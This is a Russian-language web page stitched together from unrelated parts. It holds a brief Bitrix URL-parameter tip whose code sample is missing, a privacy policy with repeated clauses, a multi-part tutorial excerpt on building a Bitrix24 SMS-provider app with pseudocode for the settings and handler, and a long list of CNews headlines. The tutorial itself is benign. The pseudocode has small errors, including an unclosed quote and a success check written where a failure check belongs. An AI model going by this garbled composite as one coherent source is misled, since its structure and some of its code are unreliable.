Работа с параметрами ссылки · Блог веб-студии Keengo
05.06.2014
Иногда в 1С Битрикс необходимо преобразовать ссылку, заменив или убрав параметры в ней:
http://mysite.ru/news?page=1&id=15&sort=date
Для этого можно воспользоваться функцией $APPLICATION->GetCurPageParam($add, $delete), где вместо $add добавить новое условие, а вместо $delete добавить массив параметров, которые нужно удалить.
Так, например, чтобы получить из исходной ссылки такую:
http://mysite.ru/news?id=21
Нужно добавить такую функцию
Нам будет приятно
Поделитесь
- Общие положения.
- Настоящая Политика конфиденциальности персональных данных (далее — Политика) действует в отношении всех персональных данных, которую компания Keengo (далее – Компания), может получить от пользователя (лица, заполнившего форму обратной связи, использующего другие сервисы официального сайта keengo.
- Заполняя форму обратной связи и нажимая кнопку «Согласен/на», расположенную на странице Сайта, на которой размещена форма обратной связи, а равно указывая свои персональные данные при использовании других сервисов Сайта, пользователь выражает согласие с настоящей Политикой и указанными в ней условиями обработки и передачи его персональных данных. Согласие Пользователя на предоставление, обработку и передачу его Персональных данных Компании в соответствии с Политикой является полным и безусловным.
- Посетителям Сайта следует воздержаться от заполнения формы и/или от использования других сервисов Сайта в случае несогласия (полного или частичного) с Политикой, а равно несогласия предоставить персональные данные.
- Согласие, даваемое пользователем, включает в себя согласие на сбор, систематизацию, накопление, хранение, уточнение (обновление, изменение), использование, занесение в базы данных (в том числе электронные) Компании, передачу внутри Компании другим отделам и подразделениям или поставщику услуг, обязующегося выполнять условия договора о защите персональных данных, в целях рассылки информационных материалов и/или в рекламных целях (в том числе рассылку приглашений на мероприятия, проводимые/организованные Компанией), трансграничную передачу, блокирование, обезличивание, уничтожение персональных данных.
- Согласие, даваемое пользователем, распространяется на следующие персональные данные: фамилия, имя, отчество, адрес электронной почты, должность, наименование организации, в которой работает пользователь, контактный телефон.
- Срок действия согласия пользователя является неограниченным, однако, пользователь вправе в любой момент отозвать настоящее согласие путём направления письменного уведомления на адрес электронной почты: info@keengo.ru, с пометкой «отзыв согласия на обработку персональных данных».
- Настоящая Политика конфиденциальности персональных данных (далее — Политика) действует в отношении всех персональных данных, которую компания Keengo (далее – Компания), может получить от пользователя (лица, заполнившего форму обратной связи, использующего другие сервисы официального сайта keengo.
- Персональные данные пользователей, которые получает и обрабатывает Компания.
- В рамках настоящей Политики под персональными данными пользователя понимаются персональные данные, которые пользователь предоставляет о себе самостоятельно при заполнении формы обратной связи на Сайте, при использовании других сервисов Сайта, при регистрации (создании учётной записи) на Сайте или в процессе использования услуг, предоставляемых Компанией. Соответствующая информация явно обозначена, к ней, в частности отнесены: фамилия, имя, отчество, адрес электронной почты, должность, наименование организации, в которой работает пользователь, контактный телефон.
Иная информация предоставляется пользователем на его усмотрение.
- Компания исходит из того, что пользователь представляет достоверные персональные данные, а также, что пользователь имеет право предоставить персональные данные.
- В рамках настоящей Политики под персональными данными пользователя понимаются персональные данные, которые пользователь предоставляет о себе самостоятельно при заполнении формы обратной связи на Сайте, при использовании других сервисов Сайта, при регистрации (создании учётной записи) на Сайте или в процессе использования услуг, предоставляемых Компанией. Соответствующая информация явно обозначена, к ней, в частности отнесены: фамилия, имя, отчество, адрес электронной почты, должность, наименование организации, в которой работает пользователь, контактный телефон.
- 1С Битрикс.
- Компания использует средство 1С Битрикс для сбора сведений об использовании Сайта, таких как частота посещения Сайта пользователями, посещенные страницы и сайта, на которых были пользователи до перехода на данный Сайт. 1С Битрикс собирает только IP-адреса, назначенные пользователю в день посещения данного Сайта, но не имя или другие идентификационные сведения.
- 1С Битрикс размещает постоянный cookie-файл в веб-браузере пользователя для идентификации в качестве уникального пользователя при следующем посещении данного Сайта. Этот cookie-файл не может использоваться никем, кроме 1С Битрикс. Сведения, собранные с помощью cookie-файла, будут храниться на серверах, находящихся в Российской Федерации.
- Компания использует сведения, полученные через 1С Битрикс, только для обработки и хранения персональных данных.
- Цели обработки персональной информации пользователей.
- Компания обрабатывает только те персональные данные, которые необходимы для оказания услуг.
- Персональную информацию пользователя Компании может использовать в следующих целях:
- Идентификация стороны в рамках оказания услуги.
- Рассылка рекламных и/или маркетинговых материалов Компании, рассылка приглашений на мероприятия, конференции, выставки, проводимые и/или организуемые Компанией, проведение телемаркетинговых компаний.
- Проведение статистических и иных исследований, на основе обезличенных данных.
- Передача персональных данных пользователя третьим лицам.
- В отношении персональных данных пользователя сохраняется ее конфиденциальность, кроме случаев обработки персональных данных, доступ неограниченного круга лиц к которым предоставлен пользователем либо по его просьбе.
- Компания вправе передать персональную информацию пользователя третьим лицам в следующих случаях:
- Пользователь предоставил свое согласие на такие действия.
- Передача персональных данных организациям, которые оказывают услуги Компании по рассылке рекламных и/или маркетинговых материалов, организации и проведению мероприятий, конференций, выставок, телемаркетингу, обзвону потенциальных клиентов Компании.
- Передача необходима для достижения целей, осуществления и выполнения функций, полномочий и обязанностей, возложенных законодательством Российской Федерации на Компанию.
- Пользователь предоставил свое согласие на такие действия.
- Меры, применяемые для защиты персональных данных пользователей.
- Компания принимает необходимые и достаточные организационные и технические меры для защиты персональных данных пользователя от неправомерного или случайного доступа, уничтожения, изменения, блокирования, копирования, распространения, а также от иных неправомерных действий с персональными данными третьих лиц.
- Права и обязанности пользователя.
- Компания предпринимает разумные меры для поддержания точности и актуальности, имеющихся у Компании персональных данных, а также удаления устаревших и других недостоверных или излишних персональных данных, тем не менее, Пользователь несет ответственность за предоставление достоверных сведений, а также за обновление предоставленных данных в случае каких-либо изменений.
- Пользователь может в любой момент изменить (обновить, дополнить, блокировать, уничтожить) предоставленную им персональную информацию или её часть, а также параметры её конфиденциальности путем обращения в Компанию.
- Пользователь вправе в любой момент отозвать согласие на обработку Компанией персональных данных путём направления письменного уведомления на электронный адрес: info@keengo.ru с пометкой «отзыв согласия на обработку персональных данных», при этом отзыв пользователем согласия на обработку персональных данных влечёт за собой удаление учётной записи пользователя с Сайта и баз данных Компании, а также уничтожение записей, содержащих персональные данные, в системах обработки персональных данных Компании.
- Пользователь имеет право на получение информации, касающейся обработки его персональных данных Компанией.
- Компания предпринимает разумные меры для поддержания точности и актуальности, имеющихся у Компании персональных данных, а также удаления устаревших и других недостоверных или излишних персональных данных, тем не менее, Пользователь несет ответственность за предоставление достоверных сведений, а также за обновление предоставленных данных в случае каких-либо изменений.
Логин
Пароль
Разработка приложения для Битрикс24 от А до Я.

А вот и очередная часть нашего рассказа о разработке приложения для Битрикс24. Если вы не читали первые 2 части, рекомендуем ознакомиться для понимания картины. Вот первая часть, рассказывающая о постановке задачи и определении функций приложения, а вот вторая часть, где рассказано о том, как реализовать установку приложения.
Как и в прошлый раз приводим рассказ с сохранением стиля нашего руководителя отдела web-разработки — Вадима Солуянова.
Реализуем настройки приложения
В настройках, куда перенаправляет портал пользователя сразу после нашего подтверждения установки (помните js BX24.installFinish()), и куда пользователь может зайти также через левое меню портала, кликнув по имени приложения, мы выводим текущие значения ключей и даем возможность их установить/обновить, а также отправить тестовое СМС-сообщение. Таким образом наша точка входа (settings) должна отделять друг от друга три вида запросов:
- запрос с портала на открытие страницы настроек,
- запрос с самой страницы при submit-е формы сохранения ключей,
- запрос с самой страницы для отправки тестового СМС.
Бывает, что разработчики разделяют запросы по наличию пришедших данных, которые следует обработать. Однако, я настоятельно рекомендую для каждого конкретного действия либо слать предопределенный параметр с кодом действия, например, action=send_sms, либо отдельный параметр, наличие в запросе которого указывает на необходимость совершения действия, например, send_sms=Y. Почему? Прежде всего потому, что мы должны проверить валидность переданных данных, а что проверять, если мы не знаем какое действие от нас требуют? Сейчас поясню.
Скажем, в нашем приложении можно сохранение ключей делать только тогда, когда они пришли к нам непустыми. В этом случае, если пользователь ничего не заполнит и кликнет кнопку «Сохранить», мы ничего и делать не станем, даже не скажем ему, что он забыл указать ключи. Это, конечно, неверно. Потому и нужно отделять команду от ее данных. Мы получаем в параметре action команду сохранения ключей (action=save_settings), проверяем заполнены ли они, если нет — показываем ошибку, если да, то проверяем их валидность. Еще одно замечание по поводу использования имени кнопки submit-а для хранения команды. Ее значение, кажется, отправляется браузером не во всех случаях (или мои сведения устарели). Предпочтительнее все-таки добавлять в форму скрытое поле.
Теперь об авторизации. Токены, присланные порталом, нужны нам, если требуется делать какой-то запрос на портал. В данном случае этого не требуется, и можно данный вопрос опустить, но не хочется, поскольку в других приложениях они понадобятся. Когда приходит запрос с портала, с ним все понятно, токены — прямо в запросе. Когда мы сами стучимся к себе из фронта, например, отсабмитив форму, то тут уже все зависит от того, что мы добавили в скрытые поля. Именно в скрытые, и форма должна уходить методом POST, каким приходит и запрос с портала. Почему? Прежде всего для сокрытия конфиденциальных данных. Все, что передается через параметры УРЛ, т.е. методом GET попадает в логи серверов, через которые проходит наш запрос, а данные, переданные в POST-е, не логируются. Поэтому для сохранения авторизации присланные данные, а именно DOMAIN, LANG, AUTH_ID, REFRESH_ID, ну и member_id, конечно, следует сохранить в скрытых полях.
Но что делать, если в приложении нужно обратиться к самому себе через ссылку? Мы данный вариант использовать не будем, но скажу, что в этом случае придется сохранять авторизацию текущего пользователя в базу или сессию (лучше в базу в связи с последними нововведениями работы с cookies), генерить для данной записи уникальный непредсказуемый ключ (например md5 от сохраняемых параметров) и в ссылке указывать его. Состав полей при этом будет подобен нашему хранилищу 5 (Авторизация пользователя портала) с добавлением поля HASH. Другой вариант — это js. Сейчас в native js есть метод fetch(), который может отправлять данные на бэк методом post, даже никаких js-фреймворков не нужно. Отказ же от использования js не имеет смысла, поскольку в браузере с отключенными скриптами и приложение на портале не появится, поскольку открывается Битрикс24 путем submit-а формы через javascript. И третий вариант, через css можно сделать что угодно: ссылка будет отображаться как кнопка, кнопка — как ссылка, так что любую можно оформить как форму с method=»post» и кнопкой type=»submit».
При обработке запроса помним о безопасности. Нужно сказать, что member_id портала узнать можно, но проблематично, поэтому, если в запросе он присутствует и есть ему соответствующая запись в хранилище 1 (Сведения о портале), то будем считать запрос валидным. Если же приложение не столь простое, как наше, и требования безопасности к нему жесткие, то сохранение авторизации пользователя потребуется однозначно, как и проверка ее валидности. В этом случае придется делать запрос на сервер авторизации, что размещается по адресу
https://oauth.bitrix.info/ а полный запрос будет выглядеть
https://oauth.bitrix.info/rest/app.info. В случае, если на нем нет данных о приложении или портале, получите соответствующую ошибку. Да, для того, чтобы получить данные вам потребуется послать один параметр — auth=<здесь access_token пользователя> (опять-таки методом POST). Ну, можно изобрести и другие способы проверки, но для запроса с портала подойдет именно описанный выше.
Итак, все сказано, больные места обговорены, можно бы и составить уже схему работы настроек приложения.
Схема 4. Страница настроек приложения в псевдокоде:
errors = []
showForm = true
action = getRequest('action')
memberId = getRequest('member_id')
if not isMemberIdValid(memberId)
errors[] = 'Not valid request'
showForm = false
else
logCurrentRequest()
switch action
case 'save_settings':
saveSettings()
loadCurrentSettings()
break
case 'send_sms':
res = sendSms()
answerJson(res)
exit
break
default:
loadCurrentSettings()
break
if errors
errorMessage = createUserMessage()
logErrors()
logCurrentSettings()
includeTemplate()
if errorMessage
showErrorMessage()
if showForm
showSettingsForm()
if currentSettings
showTestForm()
Помним схему 1, где мы подробно расписывали действия при установке приложения, и понимаем, что многие из действий логировались в базу. Данному коду требуются пояснения. Во-первых, переменная showForm — в ней мы сохраняем флаг, стоит ли показывать во фронте форму или же запрос был совсем левый. Затем answerJson и exit — в данном случае к нам приходит запрос с фронта посредством вызова из javascript fetch() и нам не нужно продолжать выполнение, подключая шаблон. Требуется лишь вернуть результат отправки СМС в виде json объекта и выйти. Далее loadCurrentSettings — они по всей видимости должны передать в шаблон не только текущие настройки, но также URL для атрибута action формы настроек и формы отправки тестового SMS, а также скрытые поля, которые по меньшей мере содержат member_id, а в случае озабоченного безопасностью приложения еще и hash сохраненных в базе авторизационных данных, ну.., или сами данные в скрытых полях.
Что касается createUserMessage(). Здесь мы отказались от запроса на портал, иначе бы добавились те же варианты, что и при установке. В данном случае ошибки все возникают либо при невалидном запросе, либо при сохранении настроек в базу, либо в ответе SMS-провайдера. Все их необходимо проанализировать и выдать пользователю понятное сообщение. Пожалуй, стоит подробнее расписать вызов saveSettings().
Итак, сохранение настроек. В первую очередь мы проверяем присланные данные. Если чего-то не заполнено, сразу добавляем ошибку, но не обрываем выполнение. Очень неприятно как пользователю, когда ошибки всплывают одна за другой, а не все сразу, поэтому лучше проверить все данные и выдать пользователю информацию обо всех полях, где он ввел что-то неподходящее. Если все корректно, делаем запрос на получение информации об аккаунте (сейчас сами данные нас мало волнуют, важно, чтобы пришли). Если что-то не так с ключами, к нам возвратится ошибка. Ее мы показываем пользователю. Это, если API провайдера возвращает что-то человекочитаемое, а в противном случае формируем сообщение сами по коду ошибки. Если все Ок, и данные получены, сохраняем их в хранилище 1 (Сведения о портале). Вспоминаем, что нам достаточно одних авторизационных данных.
Схема 5. Итак, распишем в виде превдокода saveSettings():
if not apiLogin
errors[] = 'API Login is empty'
if not apiKey
errors[] = 'API Key is empty'
if errors
return
res = getAccountDetail(apiLogin, apiKey)
if not res
code = getHttpCode()
switch code
case 401:
errors[] = 'Wrong credetials'
break
//... other vars
default:
if !res
errors[] = 'SMS Service currently unavailable'
else
errors[] = getResponseError(res)
break
else
saveApiKeys()
Надо признаться, что в псевдокоде я сохраняю ошибки без разбора на то, какие они. Нужно ли их выводить непосредственно пользователю или же формировать на их основе более человечное сообщение. В реалии можно использовать разные классы ошибок и в массив добавлять их экземпляры. Таким образом (ох, я все-таки влез в архитектуру), мы задействуем полиморфизм ООП. Например, мы создаем такие классы:
- OurServerTemporaryError — выводит, что временная ошибка;
- OuterServerTemporaryError — выводит, что временная ошибка;
- OuterServerWrongCredetialsError — выводит, что указанные ключи невалидны;
- OuterServerError — выводит то, что вернул СМС-провайдер.
Затем, в методе createUserMessage нам достаточно будет вызывать метод getErrorMessage() и экземпляр соответствующего класса сам вернет то, что требуется пользователю.
И вижу, что в код закралась одна неприятная ошибка: в ветке default в наличии глупая проверка. Если посмотреть по коду выше, станет понятно, что вариант else здесь никогда не отработает. С другой стороны, сама строка в else выполняет вполне нужное действие. Вероятно, она просто находится не там. Поправим это:
Схема 6. saveSettings() в виде превдокода:
if not apiLogin
errors[] = 'API Login is empty'
if not apiKey
errors[] = 'API Key is empty'
if errors
return
res = getAccountDetail(apiLogin, apiKey)
if not res
code = getHttpCode()
switch code
case 401:
errors[] = 'Wrong credetials'
break
//... other vars
default:
errors[] = 'SMS Service currently unavailable'
break
else
if isResponseError(res)
errors[] = getResponseError(res)
else
saveApiKeys()
По отправке тестовых СМС, думаю, не стоит давать столь же подробные описания, поскольку они схожи с сохранением настроек. С одной оговоркой, ошибки там могут быть и другие. Например, недостаточно средств на счете или номер, на который отправлено сообщение, невалидный, или пользователю не позволяется отправлять международные СМС-сообщения. Эти все случаи, конечно, должны быть обработаны. Хорошо, когда в ошибке, возвращенной провайдером, имеется человекопонятное описание, но, если нет, придется его формировать самому.
Ну, с настройками и отправкой тестового СМС покончено. Думаю всем очевидно, что происходит во фронте на данной странице? Есть две формы. Одна с настройками, другая — с полями phone и message для тестового СМС. Первая отображается на странице всегда, если только сам запрос не был совсем левым. Вторая всплывает popup-ом при клике на кнопку Test (если сохраненная авторизация валидна, конечно). В обеих формах хранится в скрытом поле member_id, а при паранойе и hash или все авторизационные данные, присланные порталом. Первая форма отправляется обычным submit-ом, вторая — через js и функцию fetch(). Обе — методом POST. Да, и, конечно, на странице есть область, в которой выводятся ошибки. Даже две: одна где-то возле формы настроек, другая в popup-е возле формы отправки тестового SMS.
Итак, готово. Думаю, следующие точки входа принесут новые проблемы и изменения в уже сложившейся схеме. Но, как говорится, проект становится понятным лишь только после его завершения.
Обработка команд на отправку СМС (handler)
Наш handler может быть вызван из разных мест Битрикс24. Это может быть срабатывание автоматизации при изменении статуса сделки, или менеджер, находясь в карточке контакта, захочет отправить ему SMS, в любом случае, если в качестве провайдера он выберет наше приложение, то в итоге портал постучится к нам. Запрос будет содержать среди прочего такие данные:
- type => SMS
- code => код нашего приложения, точнее зарегистрированного провайдера
- message_id => буквы, цифры, идентифицирующие данное сообщение на портале
- message_to => +11112243111
- message_body => Hello my friend.
I’m going to tell you that something goes wrong…
Ой, ой, ой… Кажется, при описании логики сохранения авторизации в настройках я совсем забыл о регистрации провайдера на портале. Так что пока менеджер не сможет выбрать наше приложение. Исправим это. Не будем повторять весь псевдокод saveSettings(), опишем лишь то место, где валидная авторизация сохраняется в базу. Вот как это выглядело:
if isResponseError(res)
errors[] = getResponseError(res)
else
saveApiKeys()
Добавим регистрацию SMS-провайдера в случае успешного сохранения ключей и отсутствия предыдущей регистрации.
if isResponseError(res)
errors[] = getResponseError(res)
else
oldKeys = getOldKeys()
res = saveApiKeys()
if res.
success()
if empty oldKeys
res = registerProvider()
if not res.success()
errors[] = res.getError()
else
errors[] = res.getError()
Ну, вот теперь можно возвращаться к handler-у и, прежде всего, вспомнить про безопасность. Запрос на отправку SMS во многом подобен запросу на обработку события Битрикс24, а события в нем имеют один параметр, специально предназначенный для проверки валидности запроса. Параметр этот содержится в массиве под ключом auth, в котором лежит следующее:
- access_token = …
- expires_in = 3600
- scope = crm,im,user,department,bizproc
- domain = …
- server_endpoint = https://oauth.bitrix.info/rest/
- status = F
- client_endpoint = .
../rest/
- member_id = …
- user_id = 8
- application_token = …
Последний параметр (application_token) — это и есть тот ключ, по которому мы сможем защитить приложение от левых запросов. И тут выявляется необходимость подправить наш список событий, на которые мы подписывались в момент установки, а также подправить наше хранилище 1 (Сведения о портале).
Для проверки нам потребуется сравнить присланное значение application_token с тем, что мы сохранили ранее у себя. А как и в какой момент мы получаем это значение для его сохранения? Сделать это можно, подписавшись на событие Битрикс24 OnAppInstall. Именно при этом событии к нам впервые приходит application_token. Конечно, он приходит и при любом другом событии, и нет уж такой необходимости подписываться на еще одно. Можно делать дополнительную проверку на валидность запроса в тот момент, когда у нас сохраненное значение отсутствует, запоминать при успешной проверке, а затем уже сравнивать присланный токен с тем, что у нас есть. Но, мне кажется, что проще подписаться, делать проверку именно при событии OnAppInstall, а во всех других событиях проверять по одной схеме, а именно — сравнивая присланное с сохраненным. Стало быть, дополним наш список действий:
18. Обработать OnAppInstall. Проверить валидность запроса через сервер авторизации, при успехе сохранить присланный application_token в хранилище 1 (Сведения о портале).
И добавим поле в само хранилище:
APP_TOKEN — токен для проверки валидности событий и запросов на отправку SMS
Теперь еще немного о самом запросе на отправку. Запрос, как вы видели приходит сразу с авторизацией, среди которой указан и ID пользователя. Ну, когда менеджер жмакает по кнопке SMS в карточке клиента, тогда понятно, что за пользователь к нам придет. Но если запрос приходит при срабатывании автоматизации, когда, например, сделка меняет свой статус? В этом случае к нам придет ID ответственного за сделку. Почему я начал говорить об этом? Дело в том, что ошибки при отправке очень даже возможны, но handler не содержит пользовательского интерфейса, в котором мы могли бы их вывести. Что же делать? Для этого в Битрикс24 существует возможность отправки пользователю нотификаций, и есть соответствующий REST-метод. Метод этот доступен тем приложениям, которые запросили доступ (scope) im. И выходит, что я допустил еще одну промашку, забыв упомянуть о доступах приложения. Чтобы не отвлекаться сейчас от handler-а, давайте обсудим этот вопрос чуть позже, когда закончим с отправкой SMS.
Схема 7. Отправка SMS в псевдокоде:
errors = []
auth = getRequest('auth)
if not isMemberIdValid(auth.member_id)
exit
if not isAppTokenValid(auth.application_token)
exit
logCurrentRequest()
messageId = getRequest('message_id')
messageTo = getRequest('message_to')
messageBody = getRequest('message_body')
if empty messageTo or empty messageBody
errors[] = 'Empty required data'
if not errors
res = saveUserAuth(auth)
if res.
success()
errors[] = res.getErrorMessage()
if not errors
res = sendSMS(messageTo, messageBody)
if res.success()
saveRes = saveMessage(auth.user_id, messageId, res)
if not saveRes.success()
errors[] = saveRes.getErrorMessage()
if errors
logErrors()
message = getErrorMessage(errors)
sendNotification(auth.user_id, message)
Поскольку в данном месте отсутствует пользовательский интерфейс вообще, нет смысла выводить какое-либо сообщение (или, тем более, отсылать его) при невалидном запросе, поэтому мы лишь вызываем exit (прекратить дальнейшее выполнение).
saveUserAuth() — здесь мы впервые запоминаем авторизацию пользователя, поскольку она нам понадобится в дальнейшем при смене статуса сообщения. Если записи у нас нет, добавляем, если есть, обновляем токены.
saveMessage() — сохраняем у себя идентификатор сообщения на портале, оный же у SMS-провайдера, запоминаем текущий статус сообщения (например, queued — поставлено в очередь), пользователя и прочие служебные поля типа домена, идентификатора портала и т.п.
sendNotification() — отправляем нотификацию об ошибке тому пользователю, к которому привязано сообщение. Это либо менеджер, отправляющий СМС из карточки контакта, либо ответственный, напр., за сделку, чей статус поменялся, в результате чего сработала автоматизация.
Пожалуй, на сегодня достаточно. Последнюю часть этой занимательной инструкции опубликуем на следующей неделе, а вы пока что подпишитесь на нас в социальных сетях, чтобы не пропускать интересные статьи и обзоры.
Интернет-издание о высоких технологиях — CNews
Разделы
Наследник разорившегося «Ангстрема-Т» задолжал 250 миллионов за аргон, кислород и электричество
- Линус Торвальдс, взбешенный ленью разработчиков Linux, сделал им строгий выговор
- Россияне создали электропроводящее стекло, которое приведет к революции в мире технологий
- Современные работники ежегодно теряют миллиарды из-за неумения пользоваться e-mail и редактором
- Силовики изящно обманули хакеров-шифровальщиков на $1 млн и спасли 155 жертв
- В Microsoft летят головы.
Тайно уволены сотни разработчиков технологий для госсектора
- Samsung выпустила «самую быструю» оперативную память для смартфонов и ноутбуков
- В России запретят строить 5G на иностранном софте и «железе»
- Америка уничтожает бизнес Samsung и TSMC на основе закона столетней давности.
Им грозит полный запрет на продажи в США
- Главное
- Популярное
Новости
Наследник разорившегося «Ангстрема-Т» задолжал 250 миллионов за аргон, кислород и электричество
- Линус Торвальдс, взбешенный ленью разработчиков Linux, сделал им строгий выговор
- Россияне создали электропроводящее стекло, которое приведет к революции в мире технологий
- Современные работники ежегодно теряют миллиарды из-за неумения пользоваться e-mail и редактором
- Силовики изящно обманули хакеров-шифровальщиков на $1 млн и спасли 155 жертв
- В Microsoft летят головы.
Тайно уволены сотни разработчиков технологий для госсектора
- Samsung выпустила «самую быструю» оперативную память для смартфонов и ноутбуков
- В России запретят строить 5G на иностранном софте и «железе»
- Америка уничтожает бизнес Samsung и TSMC на основе закона столетней давности.
Им грозит полный запрет на продажи в США
- США разваливают ИТ-индустрию в Китае и во всем мире. Нарушено производство техники, инженеров увольняют
- Apple удаленно превращает супердорогие iPhone 14 Pro Max в «кирпичи». Но есть решение
- Создателям знаменитых российских процессоров трижды за год отказали в госфинансировании нового чипа
- США разваливают ИТ-индустрию в Китае и во всем мире.
Нарушено производство техники, инженеров увольняют
- Apple удаленно превращает супердорогие iPhone 14 Pro Max в «кирпичи». Но есть решение
- Создателям знаменитых российских процессоров трижды за год отказали в госфинансировании нового чипа
- Алексей Павлов, Ростелеком-Солар: Сейчас происходит трансформация устоявшихся представлений об ИБ как о строго внутренней функции
- Ипотека для ИТ-специалистов: что важно знать
- В России создали систему связи, «пробивающую» толщу земли и воды
- Выпущен крошечный «убийца» Raspberry Pi Pico с полноценным процессором по бросовой цене
- Виртуальный программист Microsoft ворует у разработчиков открытый код и выдает его за свой
- ZOOM: Лучшие умные часы 2022 года
- Что ждет цифровые проекты в госсекторе в 2022 году
- 5 простых шагов: как ИТ-компании получить грант
- Екатерина Столбова, фонд «Сколково»: Грант покроет до 80% расходов компаний на внедрение ИТ-решений
- Литиевые или свинцовые: какие аккумуляторы лучше взять для ЦОД?
- Почему не работают распространенные подходы в области конфигурирования ПО, и что с этим делать?
- Что лучше — ГЛОНАСС или GPS: главные различия систем навигации
- Не SLA единым: 8 способов самостоятельно повысить надежность облака
- МТС, «Билайн», «Яндекс» и VK помогут властям контролировать интернет-рекламу
- В России появились защищенные маршрутизаторы на самых первых «Байкалах»
- Российская транспортная компания полностью отказалась от бумажных накладных
- «Цифра» выходит на новый для себя промышленный рынок с ПО на замену софта SAP, General Electric, Aveva
- Бракованы и дефектны.
Почти половина микросхем, импортируемых из Китая в Россию непригодны для использования
- Обнаглевший шифровальщик атаковал ИТ-подрядчика Минобороны США и горько за это поплатился
- Самараавтожгут внедрила технологии компьютерного зрения для слепых сотрудников
- Market.CNews рассказал, как SLA может обанкротить провайдера
- США разваливают ИТ-индустрию в Китае и во всем мире.
Нарушено производство техники, инженеров увольняют
- США убивают производство китайской флеш-памяти и бьют по российской микроэлектронике
- Linux Ubuntu начала спамить рекламой прямо в командной строке. Пользователи в бешенстве
- MS Office осталось жить несколько недель. Microsoft собственноручно убивает свой знаменитый бренд
- Пароли больше не нужны. В Chrome и Android появилась авторизация нового типа
- Новый российский завод «Аквариуса» выпустил свой первый ноутбук-трансформер
- Apple удаленно превращает супердорогие iPhone 14 Pro Max в «кирпичи».
Но есть решение
- ИТ-мир рушится. Глобальный кризис уничтожает новые проекты и увеличивает нагрузку на старые
- Легендарный телефонный бренд выпустил мощный ноутбук по цене недорогого смартфона
- В России создали систему связи, «пробивающую» толщу земли и воды
- Америка уничтожает бизнес Samsung и TSMC на основе закона столетней давности. Им грозит полный запрет на продажи в США
- Выпущен крошечный «убийца» Raspberry Pi Pico с полноценным процессором по бросовой цене
- Создателям знаменитых российских процессоров трижды за год отказали в госфинансировании нового чипа
- Виртуальный программист Microsoft ворует у разработчиков открытый код и выдает его за свой
- Создатели Astra Linux купили российского разработчика СУБД на базе PostrgreSQL
- Что будет с экспортом российского ПО?
- 7 самых крупных проблем, которые отмечают ИТ-руководители в 2022 году
- Александр Губинский, Самараавтожгут: Как мы получали грант на внедрение компьютерного зрения
- Ипотека для ИТ-специалистов: что важно знать
- Как цифровизуются системы безопасности в промышленности
- 5 простых шагов: как ИТ-компании получить грант
- Алексей Павлов, Ростелеком-Солар: Сейчас происходит трансформация устоявшихся представлений об ИБ как о строго внутренней функции
- Екатерина Столбова, фонд «Сколково»: Грант покроет до 80% расходов компаний на внедрение ИТ-решений
- 4 российских корпоративных почтовых сервиса.
Выбор CNews
- Как устроена АИС, на которой работает вся система налогообложения в России
- Сервисные центры: хитрости и уловки с «гарантией»
- Параллельный импорт серверного оборудования: какие «подводные камни» стоит учесть?
- Литиевые или свинцовые: какие аккумуляторы лучше взять для ЦОД?
- 8 российских корпоративных мессенджеров. Выбор CNews
- Как выбирать коммерческий SIEM в 2022 году?
CNews Analytics
Рейтинг: Топ-35 разработчиков и поставщиков корпоративных мобильных решений
Судя по данным рейтинга CNewsMobile, спрос на корпоративные мобильные решения в прошлом году резко вырос. Катализаторами роста стали пандемия, а также принятие даже крупными «консервативными» компаниями концепции корпоративной мобильности.
Аналитика
Маркет
Андрей Чепакин, ELMA: «Подводный камень у Low-code один — это ваши завышенные ожидания»
Импортозамещение
Чем заменить ушедшие Zoom, MS Teams и Cisco Webex?
КОНФЕРЕНЦИЯ
Пространство безопасности: защита цифрового суверенитета страны
27 Октября 2022 Москва
Безопасность
Руслан Рахметов, Security Vision: Российский бизнес заинтересован в предложениях от MSSP-провайдеров
КОНФЕРЕНЦИЯ
CNews Forum 2022
01 Ноября 2022 Москва
импортозамещение ВКС
Как ритейлер OBI перешел с Cisco Webex на Webinar Meetings
импортозамещение
beeline cloud помог вышедшей из глобальной группы компании импортозаместить всю ИТ-инфраструктуру
ИТ в госсекторе
Директор цифровой трансформации Счетной палаты в интервью CNews — о новых подходах к анализу данных
Импортозамещение
Как российским компаниям развивать ИТ-ландшафт в новой реальности?
Мобильность
Что такое корпоративная мобильность, и с чем ее едят
Мобильность
Андрей Врацкий, eXpress: Супер-аппы вытеснят большинство приложений для работы
КОНФЕРЕНЦИЯ
CNews Awards
01 Ноября 2022 Москва
Цифровизация
Николай Козак, «Дом. рф»: Мы решили помочь строительным компаниям перейти на технологии информационного моделирования
КОНФЕРЕНЦИЯ
Open Source как панацея от санкций
17 Ноября 2022 Москва
Импортозамещение
Роман Гоц, «ДатаРу»: Мы предоставляем новое ИТ-оборудование и обеспечиваем полную техническую поддержку
ИТ в госсекторе
Что показали два года активной эксплуатации российской коммуникационной платформы
КОНФЕРЕНЦИЯ
Современный цифровой офис: новации 2022
22 Ноября 2022 Москва
Импортозамещение
Георгий Мегрелишвили, «Рустэк»: В течение трех-пяти лет мы сможем заместить все иностранные продукты для виртуализации и облаков
Безопасность
Как уберечься от мошенников при закупке ИТ-оборудования
Безопасность
Александр Гольцов, «АМТ-Груп»: Защита КИИ и АСУ ТП — главный драйвер рынка информационной безопасности
Цифровизация
Вадим Глущенко, Центр глобальной ИТ-кооперации: Делаем акцент на восточном направлении
КОНФЕРЕНЦИЯ
Искусственный интеллект: от пилота к промышленной эксплуатации
23 Ноября 2022 Москва
Импортозамещение
Анастасия Хвещеник, «РТК-Солар»: Мы видим резкий рост интереса к отечественным решениям сетевой безопасности
Искусственный интеллект
Побороть продовольственный кризис и инфляцию: на ИИ возлагают все новые и новые надежды
Безопасность
Обзор DLP «СёрчИнформ КИБ»: импортонезависимость, расширенные возможности блокировок и предотвращение утечек через смартфоны
Безопасность
Андрей Янкин, «Инфосистемы Джет»: Киберучения необходимы не только ИБ-службам, но и всем сотрудникам компаний
Инновации для промышленности
И создал инженер ADAMa: для чего нужны человекоподобные роботы
Цифровизация
Глобальный передел рынка ИБ: Какие средства защиты информации выбрать?
Маркет
Эксперты Softline — о ценности SLA с точки зрения CIO, CTO, бизнеса и ИТ-архитекторов
Безопасность
Как выбирать коммерческий SIEM в 2022 году?
Безопасность
Threat Intelligence: что это такое и как применить на практике
инфраструктура
Международный сервис трекинга грузов разместился в облаке Xelent
Искусственный интеллект
«Телохранитель» для чувствительных данных: внедряем ИИ без помощи публичных облаков
ИТ в госсекторе
Как незрячие тестировщики помогают делать портал mos. ru удобным
Мобильность
Корпоративная мобильность 2022: импортозамещение, государство и супер-аппы
инфраструктура
Параллельный импорт серверного оборудования: какие «подводные камни» стоит учесть?
Показать еще
Подключить вебхук Битрикс24 к HTTP-запросу (GET/POST) с помощью LeadsBridge
